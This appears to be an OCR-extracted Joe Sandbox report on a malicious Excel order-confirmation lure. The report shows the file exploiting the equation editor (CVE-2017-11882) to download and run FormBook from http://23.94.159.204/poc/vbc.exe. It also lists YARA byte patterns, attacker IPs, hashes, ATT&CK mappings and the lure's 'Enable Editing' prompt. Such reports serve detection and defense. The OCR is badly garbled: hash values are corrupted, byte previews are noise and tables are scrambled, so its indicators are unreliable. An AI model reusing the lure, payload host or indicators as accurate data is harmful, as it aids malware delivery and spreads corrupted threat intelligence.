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Windows Analysis Report ORDERCONFIRMATION_0000...
Overview

General Information Detection Classification

Sample ORDERCONFIRMATION_

Name: 00001679918 xIsx MALICIOUS Sigma detected: EQNEDT32.EXE c....

Analysis ID: 491746 Multi AV Scanner. detection for subm...

MD5:
9c34f5c5ela78c2. Yara detected FormBook
SHA1:
727aa4c09cAcAf4. Malicious sample detected (through ...
SHA256: ff1168daaSedebf...
Sigma detected: Droppers Exploiting...
Sigma detected: File Dropped By EQ...
Infos: n E Q l'f i 3,

. Antivirus detection for URL or. domain
NS MR HOA'
YV

%)
«Q
=3
4
c
=
(1
7]

. . Multi AV Scanner detection for doma...
Most interesting Screenshot:

FormBook Multi AV Scanner detection for dropp...

| EOHE

------ 3 Score: 100 Office equation editor starts process...

Range: 0-100 Injects a PE file into/a foreign proce...
Whitelisted: false

X Sigma detected: Execution from Sus...
Confidence: 100%

Office equation editor drops PE file

i
i

Machine Learning detection for dropp...

Process Tree

= System is w7x64
. EXCEL.EXE (PID: 2428 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

. :/0—2' EQNEDT32.EXE (PID: 2760 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE' -Embedding MD5:
A87236E214F6D42A65F5DEDAC816AECS)
vbc.exe (PID: 1612 cmdline: 'C:\Users\Public\vbc.exe' MD5: A9DCC61F31601E771050463C4D41CDBO)

vbc.exe (PID: 2248 cmdline: 'C:\Users\Public\vbc.exe' MD5: A9DCC61F31601E771050463C4D41CDBO)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings

00000005.00000000.466845988.00000000001C MAL_Neshta_Generic  Detects Neshta Florian Roth e 0x6130:$0pl: 85 CO 93 OF 85 62 FF FF FF 5E 5B 89 E
0000.00000040.00000001.sdmp malware C 5D C204
e Ox3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 8
5C0750C
e 0x2460:$0p3: EB 0233 DB 8B C35B C35385C074 1
5FF 1534

00000004.00000002.469258298.0000000002770000.00000 MAL_Neshta_Generic Detects Neshta Florian Roth e 0x5530:$0pl: 85 CO 93 OF 85 62 FF FF FF 5E 5B 89 E
004.00000001.sdmp malware C5D C204
e 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 8
5C0750C
e 0x1860:$0p3: EB 02 33 DB 8B C35B C35385C0 74 1
5FF 1534
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Source Rule Description Author Strings

00000004.00000002.469285570.000000000277A000.00000 JoeSecurity_FormBook Yara detected Joe Security
004.00000001.sdmp FormBook
00000004.00000002.469285570.000000000277A000.00000 Formbook_1 autogenerated rule Felix Bilstein - e 0x27408:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
004.00000001.sdmp brought to you by  yara-signator at e 0x27792:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e Oxa6a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
e 0Oxal9l:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
e Oxa7a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
e 0Oxa91f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
e 0Ox28laa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 0
283 E30F C1EA06
e 0x940c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
e 0x28f22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
e Oxfb77:$sequence_8: 3C 54 74 04 3C 74 75 F4
e 0OxlOcla:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
00000004.00000002.469285570.000000000277A000.00000 Formbook detect Formbook in JPCERT/CC Oxcaa9:$sqlite3step: 68 34 1C 7B E1
004.00000001.sdmp memory Incident Response Oxcbbc:$sqlite3step: 68 34 1C 7B E1
Group Oxcad8:$sqlite3text: 68 38 2A 90 C5

Oxcbfd:$sqlite3text: 68 38 2A 90 C5
Oxcaeb:$sqlite3blob: 68 53 D8 7F 8C
0xcc13:$sqlite3blob: 68 53 D8 7F 8C

e o o o o o

Unpacked PEs

Source Rule Description Author Strings

5.0.vbc.exe.1c0000.1.raw.unpack MAL_Neshta_Generic  Detects Neshta Florian Roth e 0x6130:$0pl: 85 CO 93 OF 85 62 FF FF FF 5E 5B 89 EC
malware 5D C2 04
e 0x3e9e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85
C0750C
e 0x2460:$0p3: EB 0233 DB 8B C35B C35385C0 741
5FF 1534

4.2.vbc.exe.2770000.4.unpack MAL_Neshta_Generic  Detects Neshta Florian Roth e 0x4930:$0pl: 85 CO 93 OF 85 62 FF FF FF 5E 5B 89 EC
malware 5D C2 04
e 0x269e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85
C0750C
e 0xc60:$0p3: EB 02 33 DB 8B C3 5B C353 85 C0 74 15
FF 1534

4.2.vbc.exe.2770000.4.raw.unpack MAL_Neshta_Generic  Detects Neshta Florian Roth e 0x5530:$0p1l: 85 CO 93 OF 85 62 FF FF FF 5E 5B 89 EC
malware 5D C2 04
e 0x329e:$op2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85
Co750C
e 0x1860:$0p3: EB 0233 DB 8B C35B C35385C074 1
5FF 1534

5.0.vbc.exe.1c0000.1.unpack MAL_Neshta_Generic Detects Neshta Florian Roth e 0x5530:$0p1: 85 CO 93 OF 85 62 FF FF FF 5E 5B 89 EC
malware 5D C2 04
e 0x329e:$0p2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85
C0750C
e 0x1860:$0p3: EB 02 33 DB 8B C35B C35385C074 1
5FF 1534

5.2.vbc.exe.1¢0000.0.unpack MAL_Neshta_Generic  Detects Neshta Florian Roth e 0x5530:$0p1: 85 CO 93 OF 85 62 FF FF FF 5E 5B 89 EC
malware 5D C2 04
e 0x329e:$0p2: E8 E5 F1 FF FF 8B C3 E8 C6 FF FF FF 85
C0750C
e 0x1860:$0p3: EB 02 33 DB 8B C35B C35385C074 1
5FF 1534

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: Execution from Suspicious Folder

Jbx Signature Overview
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g

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Exploits:

L

E-Banking Fraud:

]

Yara detected FormBook

]‘

System Summary:

Malicious sample detected (through community Yara rule)

=

Boot Survival:

HIPS | PFW | Operating System Protection Evasion:

‘]

Stealing of Sensitive Information:

=

Yara detected FormBook

]‘

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network

Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Exploitation for  Path Process Masquerading os Security Software Remote Archive Exfiltration Encrypted Eavesdr
Accounts  Client Interception  Injection Credential Discovery Services Collected  Over Other Channel Insecure
Execution Dumping Datall  Network Network
Medium Commut
Default Scheduled Boot or Boot or Logon Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Clipboard  Exfiltration Ingress Tool Exploit £
Accounts  Task/Job Logon Initialization Evasion Memory  Evasion Desktop Data Over Transfer Redirect
Initialization  Scripts Protocol Bluetooth Calls/SNh

Scripts
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Initial Privilege
Access Execution Persistence Escalation
Domain At (Linux) Logon Script Logon Script
Accounts (Windows)  (Windows)
Local At (Windows) Logon Script Logon Script
Accounts (Mac) (Mac)

Cloud Cron Network Network Logon
Accounts Logon Script Script
Replication Launchd Rc.common Rc.common
Through

Removable

Media

Behavior Graph

Screenshots

Thumbnails

EQNEDT32 EXE
XL

dropped dropped

dropped

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

e

Copyright Joe Security LLC 2021

Credential
Defense Evasion Access Discovery
Process Security Process Discovery
Injection Account
Manager
Deobfuscate/Decode  NTDS Remote System
Files or Information Discovery
Obfuscated Files or LSA File and Directory
Information Secrets Discovery
Software Packing Cached System Information
Domain Discovery
Credentials
Behavior Graph
ID: 491746
Sample: 'ORDERCONFIRMATION_000016799...
Startdate: 27/09/2021
Architecture: 'WINDOWS
Score: 100

> started
L

\J
vbe.exe
CRET |

17

Lateral Command Networl
Movement Collection Exfiltration and Control Effects
SMB/Windows Data from Automated Non- Exploit £
Admin Shares Network Exfiltration Application Track Dt
Shared Layer Location
Drive Protocol
Distributed Input Scheduled Application SIM Car
Component Capture Transfer Layer Swap
Object Model Protocol
SSH Keylogging Data Fallback Manipuli
Transfer Channels Device
Size Limits Commut
VNC GUI Input  Exfiltration Multiband Jamming
Capture Over C2 Communication Denial o
Channel Service
Hide Legend
Legend
|:| Process
. Signature
. Created File
Il onsieinfo
started
£, Is Dropped
A% Is Windows Process

&

08 exceexe

5 Wi

o
) %
B

i
i
=

L@ 2 )

started

vbc.exe

Number of created Registry Values
Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

&k
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ORDERCONFIRMATION 00001679918 - Microsoft Excel o @ 0=
o @o@ =

Home | Insert  Pagelayout  Formulas  Data View

z ;o= . Autosum + Acgr
Calibri ~11 v AT 3 S wrap Text - j‘ A - = Autosun :}J !ﬁ
33 copy ~ - & Fin - 2
. B rU 1| By A B MergeaCenter= | § - % o % | Conditional Format sert D Sort& Find &
 Format Painter - = N " | Formatting - as Table - Styles - | @Cears Fier - Select-
Clipboard 5 Alignment Number
Pg - £
A D

Styles Editing
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Microsoft’ 1. Open the document i Microsoft Office.

-+ e Previewing anline s not available for protected
| ce documents
.

2.1 this document was downloaded from your
email, please click Enable Editing from the
. . yellow bar above
This document is
3. Once you have enabled editing, please click
Update Links

B TP T 7 L I L [ ] [ ———

10088 v —r ¢ amm
Sheet2 “Sheet3 /%]

908 PM
91208 |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Page 8 of 20
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https://www.virustotal.com/gui/file/ff1168daa5edebf6c75a6f24573e0b1e8153156b47e9c91712f8aa7968d745db/detection/f-ff1168daa5edebf6c75a6f24573e0b1e8153156b47e9c91712f8aa7968d745db-1632751819

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\nsd99EO.tmp\hmrrcvb.dll 2% ReversingLabs

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs
Source Detection Scanner Label Link
http:/fwww.%s.comPA URL Reputation safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs
Name Malicious Antivirus Detection Reputation
URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

General Information

Joe Sandbox Version: 33.0.0 White Diamond
Analysis ID: 491746
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https://www.virustotal.com/gui/file/e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562/detection/f-e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562-1632769318
https://www.virustotal.com/gui/file/65efe70f4feae095ea7a9497007f2307f49572a8878ac5d304b66dd3ac0ddfb0/detection/f-65efe70f4feae095ea7a9497007f2307f49572a8878ac5d304b66dd3ac0ddfb0-1632768716
https://www.virustotal.com/gui/file/e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562/detection/f-e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562-1632769318
https://www.virustotal.com/gui/url/60b35cb1251a8e142738a803ec3218d9b5042b28c87503f458b6ca1149cc0a9d/detection/u-60b35cb1251a8e142738a803ec3218d9b5042b28c87503f458b6ca1149cc0a9d-1632752924
https://www.virustotal.com/gui/url/60b35cb1251a8e142738a803ec3218d9b5042b28c87503f458b6ca1149cc0a9d/detection/u-60b35cb1251a8e142738a803ec3218d9b5042b28c87503f458b6ca1149cc0a9d-1632752924

Start date: 27.09.2021

Start time: 21:07:28
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 6m 29s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: ORDERCONFIRMATION_00001679918.xlIsx
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)
Number of analysed new started processes 9
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.expl.evad.winXLSX@6/16 @0/1
EGA Information: Failed
HDC Information: e Successful, ratio: 61.3% (good quality ratio 33.6%)

e Quality average: 45%
e Quality standard deviation: 44.5%

HCA Information: Failed

Cookbook Comments: e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .xIsx
e Found Word or Excel or PowerPoint or XPS Viewer
e Attach to Office via COM
e Scroll down
e Close Viewer
Warnings: Show All
Simulations
Behavior and APIs
Time Type Description
21:08:38 API Interceptor 116x Sleep call for process: EQNEDT32.EXE modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

23.94.159.204 Get hash malicious Browse e 23.94.159
.204/neziv
bc.exe

Domains

No context

ASN

Match Associated Sample Name / URL SHA 256 Detection Link Context

AS-COLOCROSSINGUS _ Get hash malicious Browse o 107.172.73.191

Copyright Joe Security LLC 2021 Page 10 of 20


https://view.joesandbox.com/analysis/384071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384071/html/none?idtype=webid
https://view.joesandbox.com/analysis/386085/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386085/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 107.173.21
9.122

Get hash malicious Browse e 107.173.21
9.122

Get hash malicious Browse e 192.227.22
5.173

Get hash malicious Browse e 172.245.16
8.189

Get hash malicious Browse e 172.245.16
8.189

Get hash malicious Browse e 172.245.16
8.189

Get hash malicious Browse e 172.245.16
8.189

Get hash malicious Browse e 172.245.16
8.189

Get hash malicious Browse e 172.245.16
8.189

Get hash malicious Browse e 172.245.16
8.189

Get hash malicious Browse e 172.245.16
8.189

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

|IE Cache URL:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

downloaded

288145

7.911369635258899

false

6144:F8LxBsj6b2HWEII/tCIhrAgajbL Gv+gqRACWWBRNZP:/OblwElpshg0aCzBV

A9DCC61F31601E771050463C4D41CDBO

C26979F1842C9F2460FCOEOF9285266B0D175B49

E018D5F9CE45E81A96459FA0C717DF76B2D765F24A9A472AD2CB8D13B523F562
7C592E8F6042BEA65CBD5261B0150C761B4B724E61E983DC32C2E3BE62B48D1ACAC53986DB097FE4C79A597D928F8E17FFCB639B6FC45623229719136548E6A
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Virustotal, Detection: 42%, Browse
e Antivirus: ReversingLabs, Detection: 20%

low

http://23.94.159.204/poc/vbc.exe
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https://view.joesandbox.com/analysis/386057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386057/html/none?idtype=webid
https://view.joesandbox.com/analysis/386050/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386050/html/none?idtype=webid
https://view.joesandbox.com/analysis/386044/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386044/html/none?idtype=webid
https://view.joesandbox.com/analysis/385908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385908/html/none?idtype=webid
https://view.joesandbox.com/analysis/385888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385888/html/none?idtype=webid
https://view.joesandbox.com/analysis/385881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385881/html/none?idtype=webid
https://view.joesandbox.com/analysis/385817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385817/html/none?idtype=webid
https://view.joesandbox.com/analysis/385813/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385813/html/none?idtype=webid
https://view.joesandbox.com/analysis/385804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385804/html/none?idtype=webid
https://view.joesandbox.com/analysis/385592/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385592/html/none?idtype=webid
https://view.joesandbox.com/analysis/385585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385585/html/none?idtype=webid
https://view.joesandbox.com/analysis/385574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385574/html/none?idtype=webid
https://view.joesandbox.com/analysis/385559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385559/html/none?idtype=webid
https://view.joesandbox.com/analysis/385558/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385558/html/none?idtype=webid
https://view.joesandbox.com/analysis/385555/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385555/html/none?idtype=webid
https://view.joesandbox.com/analysis/385554/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385554/html/none?idtype=webid
https://view.joesandbox.com/analysis/385550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385550/html/none?idtype=webid
https://view.joesandbox.com/analysis/385549/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385549/html/none?idtype=webid
https://view.joesandbox.com/analysis/385546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385546/html/none?idtype=webid
https://www.virustotal.com/gui/file/e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562/detection/f-e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562-1632769318

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1692293F.jpeg

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, progressive, precision 8, 509x209, frames 3
Category: dropped

Size (bytes): 16706

Entropy (8bit):  7.7803211045289515

Encrypted: false

SSDEEP: 384:x3+Ep+jYOGYbjcRIAcb8B2dBWWWWWWW6XPApAJz+2In+BSNdb7q:ImVsYch8BQWWWWWWWmnrin+MNA

MDS5: 9984958CFC3A96E32DD6042DD14440DB

SHA1L: ABC82F6AB5C1D7C8BAOCDF10CFDC1F1916F58630

SHA-256: 65EC42573985A8CDA90BI01C23F8ECE366493301ADDB12EDOB86F4CD3A48756D

SHA-512: 32DA7ED1AEC317A162BBF75ADA4D500DE3058A7C0953D98CCECOD26E98313C002ADI0E3B551F755A37B58CC34EF2B675E930A634E00524AF2905F119A39F80:
2

Malicious: false

Reputation: low

Preview:

+.M.-0.e...IKX.YX...1X..." X?1.%G..$..B..Y{. k...g.)) 7TM".+|j..?sg..U..s
...Xz.Kg.....b.Q...3.~g..5}.u.l9.{.b.[.u...]b....0...$...} ... .M*KdlIt.h..9 .1%.@+K%fr").0.....sT...
P & Sjunu AL WA HYWLLNLNL/Q..GT7.. > (.6}-\.._.S . KLLF._
B S.Sloiii,

[.Q>.Q0.$.Q).JE..D.K....
geage...w.z. 9N S {LLKJ4(.
.7Es..94..Gg.U....wb....a...[..f.x.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\1C3144A5.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 484 x 544, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 65050

Entropy (8bit):  7.959940260382877

Encrypted: false

SSDEEP: 1536:LT3dRSPKeePekFnfpQ6uF2sxiPfqu2RjWn0ZgNnbMXrpLIx6g1F:fdoPI79fpQXtjupn7Nnb8pLlIl

MD5: 22335141D285E599CDAEF99EABAS9D5B

SHA1L: C8E5F6F30E91F2C55D96867CAA2D1E21E7A4804D

SHA-256: 6C0757667F548698B721E4D723768447046B509C1777D6F1474BDE45649D92B0

SHA-512: CF623DC74B631AAE3DBECF1F8D7EGE129F0C44F882487F367F4CB955A3D5A9AAE96EFD77FB0843BCE8B4F5FI9D4A3C844A42193B7C4F1D374CE147399E1C3A6(
2B

Malicious: false

Reputation: moderate, very likely benign file

Preview:

o..l..K.....G.._+.U.
Kxr(.1..8....<y|R..@.9.p} .
77..:zgw.)Eo.; {D)r..B.rv...C._.

g..5~..0,;U.ce>.W.Oxn...-.0.....w..l.
fhld X7 _...StC

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\286302FB.jpeg

Process: C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 220x220, segment length 16, baseline, precision 8, 686x220, frames 3

Category: dropped

Size (bytes): 104859

Entropy (8bit):  7.948547334191616

Encrypted: false

SSDEEP: 1536:MsG61be3dUW45hIfxJRVOdWHB3C70TstUb+wfOA3MKFIYdHTXL1LUbgBGa:23S7idv+UKuZlsb1lbgBGa

MD5: 50B23CFD2E093C27B7624BB70EF7A825

SHAL: 788949A19E6CD30ABD7BE309A513F3D21CFC3064

SHA-256: BC395AEB9904601F13C40A70318EB5BE8SC800C864E86831BE00C061874B7D495

SHA-512: 4F068FBF4AB20DD9C65CC2D67FC802F7D4BC4233460B585F3F5367519095D8CD998A1F02A90CD6642FE4D5195B9EABA6BAGBC773F722AFEAS74B3DEAE7DEAS
9

Malicious: false

Reputation: moderate, very likely benign file

Preview:

.......... &'()*56789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz.. . d~....uJd.
A. g....8.mf=.2k.*..M...J..k?. .~ X..~.~.~..8].G j..8C.P...=..[.0o\v..C..&.5..F...U.n,.ImV"._.<...
..q...D.|.+pH..a.67d.0.K......%.kga..ZE....Ea. .&_5.F.L.*8.1F@-%.{n.....F...u[.tM/.m5mm...$.&.I...$L.8..WFh.....de.

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\36E70CB6.jpeg

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 220x220, segment length 16, baseline, precision 8, 686x220, frames 3
Category: dropped
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\36E70CB6.jpeg

Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

104859

7.948547334191616

false
1536:MsG61be3dUW45hIfxJRVOdWHB3C70TstUb+wfOA3MKFIYdHTXL1LUbgBGa:23S7idv+UKuZlIsb1llbgBGa
50B23CFD2E093C27B7624BB70EF7A825

788949A19E6CD30ABD7BE309A513F3D21CFC3064
BC395AEB9904601F13C40A70318EB5BEBC800C864E86831BEO0C061874B7D495

4F068FBF4AB20DD9C65CC2D67FC802F7D4BC4233460B585F3F5367519095D8CD998A1F02A90CD6642FE4D5195BO9EABAGBAGBC773F722AFEAS74B3DE4E7DEAS
9

false

11A..Qa."q.
W 11.AQ
.m(0.Q..k.<A.d~.....u.J.
ry...~%.?2..-m7.W........ p

%8&'()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz..
#3R..br...$4.% &'()*56789'CDEFGHIJSTUVWXYchefghijstuvwxyz..
. g.....8.mf=.2k.*...M...J..k?. .~.x. ~.....8.]..G...;;..j...8C.P...=...[.0o\v...C..&...5..F....U..n,.ImV
Q.. D |.+pH..a.67d.0.K......%.kga..ZE....Ea. .&_5.F.L.*8.1F@—%.{n ..... F...u[tM/.m5mm...$.&1..$L.8..WFh.....de.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\608AFF49.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced

dropped

33795

7.909466841535462

false
768:mMEWNXSo70x6wlKcaVH1IvLUIGBtadJubNT4Bw:mTDQx6XH1lvYIbdJux4Bw
613C306C3CC7C3367595D71BEECD5DE4
CB5E280A2B1F4F1650040842BACCID3DF916275E
A76D01A33A00E98ACD33BEEIFBE342479EBDA9438C922FE264DCOF1847134294
FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C96€

false

...T+....)ICCPicc..x..gP.....}.m...T).HYZ E...Y."bC..D..i. ...
.T.|ABIL..?-V...ag W..@..+..pHK..O
. #..0B<.?$..@.T$..GV'%HIR.4 -.O...r.F. ..,."...P..D. .
?2.H . X.M.9..JH$I& H.XD.&.". .-..h &r....K G. "/Q) kJ % RE| S S T @ N NP’> $h:4.Z8-...v.v.
1/.&.-.M.V.KdD.(YT].+.A40.R...=.91....X..V.Z..bcb...q#qo...R.V...3.D..."h.B.c..%&..C....1v2..7.SL.S...Ld.003....& A.....$.,...rc%..XgY.X_...RIR{.F.....

Q)+ XXy (G.L{?..20.93.."

.Nk..a

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0\69023234.jpeg

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
dropped

8815

7.944898651451431

false

192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e7li2YdRyuZ0b+JGgtPW
F06432656347B7042C803FE58F4043E1

4BD52B10B24EADECA4B227969170C1D06626A639
409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

358FEBSCBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE9SI
OE

............................... ) ..(....1I%) -....383,7(.

TH+++-+++++++t+ ottt bttt "

..... $c....C..Er5..... ?.X.5.PM.Q@E..I......i..0.$G.C...h. Gt....f..o .U..D.th..u.B...VO.f..<.t(kt.
.d.@..&3)d@@7.q...t..3!... Q('W x& &.1&T * K. |kc W[ L3(F c....+....5....hHR 0..."R.G..6...&pB. dh04 *+..S...M ........ [ eSO, Yn..TLE*G.[l.-......
$e&.... ..oz Ln6. Am.Am...0../.~y....
..l.b.OU...5.0|.\.LH1.f....sI ................ f.3?...bu.P4>._+.B...eL...R.,..< ....3.00$,—..K.! ........... O.I.z....am....C.k..|Z ...<ds....f8f..R....K

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\727091C1.jpeg

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
dropped

8815

7.944898651451431

false

192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e71i2YdRyuZ0b+JGgtPW
F06432656347B7042C803FE58F4043E1

4BD52B10B24EADECA4B227969170C1D06626A639
409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\727091C1.jpeg

SHA-512:

Malicious:

Preview:

358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FCO605DEF31D9839A0283B43AA5D409ADC283A1CAD787BESSI
OE

false

X.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..0..U..D.t"...u.B...VO.f..<.t(kt.
: "R.G..6..&pB..d.h.04.*+..S..M....
U.E. 4Pdl.0.4 A 2...gbDb.1 &y ...,
.3.008,=.K.!...Z.....0.l.z...am...Ck..iZ ...<ds...f8f.R...K

.d.@...&3)d@@7.q...t..3!..
$e&.. ..z..[.43.+~..a.u9d.&9K.ka'. LY. ..MxPu..b..:0e: R#
.1.b.0U...5.0i\.LH1.f.. sl f.'3?7...bu.P4>...+.B...eL...R,,

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C3F73A62.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced

dropped

33795

7.909466841535462

false
768:mMEWNXSo70x6wlKcaVH1IvLUIGBtadJubNT4Bw:mTDQx6XH1lvYIbdJux4Bw
613C306C3CC7C3367595D71BEECD5DE4
CB5E280A2B1F4F1650040842BACCID3DF916275E
A76D01A33A00E98ACD33BEE9FBE342479EBDA9438C922FE264DCOF1847134294
